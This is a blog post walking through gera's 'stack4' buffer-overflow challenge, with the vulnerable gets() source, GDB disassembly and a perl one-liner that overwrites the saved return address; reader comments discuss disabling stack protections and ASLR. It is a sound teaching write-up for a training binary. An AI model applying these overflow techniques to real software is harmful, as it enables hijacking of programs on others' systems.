xorl %eax, %eax

Warming up on Stack No. 4

with 5 comments

This is a little bit more difficult.. The concept remains the same but the cookie has to contain some characters that are termination characters for gets() library function. Here is the code of this level:

/* stack4-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08xn", &buf, &cookie);

        if (cookie == 0x000d0a00)
                printf("you win!\n");

So, what are these characters anyway? The first and the last one, are two NULL bytes which is not much of a problem, but… 0x0d is CR (Carriage Return) and 0xa0 is LF (Line Feed) which makes the cookie something like: NULL, r, n, NULL. On gets(3) man page we can read the following:

       gets() reads a line from stdin into the buffer pointed to  by  s  until
       either  a  terminating newline or EOF, which it replaces with ''.

Unfortunately, we have to enter a newline character to complete this level. Hm… why not just bypass the if() statement? Alright, let’s see if this is possible. I opened up the stack4-stdin in GDB and found the interesting snippet which is:

0x0804840e <main+70>:   cmp    $0xd0a00,%eax          ; if (cookie != 0x000d0a00)
0x08048413 <main+75>:   jne    0x8048425<main+93>    ;     goto main_93;
0x08048415 <main+77>:   sub    $0xc,%esp              ; /* fix the stack pointer */
0x08048418 <main+80>:   push   $0x8048570             ; /* push the format string to the stack */
0x0804841d <main+85>;:   call   0x80482ec <printf@plt> ; printf("you win!\n");

Obviously, the value that gets pushed on the stack is the wanted message, here it is:

(gdb) x/s 0x8048570
0x8048570:       "you win!\n"

If we can overflow the buffer to overwrite the stored EIP (aka. ret) with 0x08048415 (main+77) then we could transfer the control to the code after the if() statement and thus print the message :) First of all, I didn’t want to deal with any additional protection mechanisms for this challenge so I compiled the binary with GCC 4.0.3 (Debian 4.0.2-5 prelease to be exact). In addition, the operating system’s protections have been disabled. Finally, here is the result:

(gdb) run
Starting program: /home/xorl/stack4-stdin
buf: bff283c4 cookie: bff28414

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) i r ebp eip
ebp            0x42424242       0x42424242
eip            0x58585858       0x58585858

Clearly, we control the execution flow. Now the exploitation becomes extremely simple…

sh-3.2$ perl -e 'print "x90" x 88 . "\x15\x84\x04\x08"' | ./stack4-stdin
buf: bffff554 cookie: bffff5a4
you win!

Nice one! Probably the best warming up so far :)

Written by xorl

January 2, 2009 at 14:48

5 Responses

Subscribe to comments with RSS.

  1. xorl, your blog is awesome. i’m a reader for life. i have 2 requests!

    1. can you tell us what os protections you have and how you disabled them? the documentation is remarkably bad out there – and after hunting out your solution i can see there is no reason why mine should fail!

    2. can you explain how you would exploit this with os protections on? or is that too hard =)


    August 7, 2009 at 04:45

  2. Those challenges IIRC should be done with no protection since the next ones are explicitly state that they need non-executable stack and other protections as well.
    I have done this in an old Slackware 10.2 or something which has no protection mechanisms. However, if you want to do this in recent systems you have to study the appropriate protections. Since there are numerous protections it would be useless to attempt to write about all of them here. :(
    If you need information on some specific one you can contact me and I hope I would be able to help you.

    To do this in a recent system with no protection enabled you can check out: http://www.ethicalhacker.net/content/view/122/2/
    which is an updated version of the AlephOne’s classic “smashing the stack for fun and profit”.


    August 7, 2009 at 09:24

  3. i’m using CentOS ~5, kernel 2.6.9 and gcc 4.1.2 and i compiled with -fno-stack-protector. there are still some other quirks which make me think i need to disable some os-level stack protection that i can’t see in gdb

    for instance, if i do “\x90″x23 . “[addr]” i segfault because of this line right before ret:

    0x08048455 : lea 0xfffffffc(%ecx),%esp

    so i figured that it wants some readable memory there, which is fine because i change my exploit to:

    “[addr of buff]”x23 . “[addr]”

    but i still segfault as the eip jumps bizarrely to 0x00000000:


    thx for any help


    August 7, 2009 at 13:46

  4. typo in post:


    should be



    August 7, 2009 at 14:43

  5. Sorry for not replying to you quickly but I usually don’t even use a computer during weekends :P
    I don’t know what other protections CentOS might have, also you should disable randomization through /proc/sys/kernel/randomize_va_space even though I don’t think that this is the problem.
    It probably has something to do with GCC 4.1 which introduced a shitload of changes. There was a really interesting article by stealth about exploiting buffer overflows in recent GCC/GLibC/kernel which you can find here: http://www.suse.de/~krahmer/relro.txt
    If you compile this using GCC 3.x it would certainly work, however, if you want to play with 4.1 you should use different approach. An example is the one stealth wrote in the above article.


    August 9, 2009 at 14:07

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s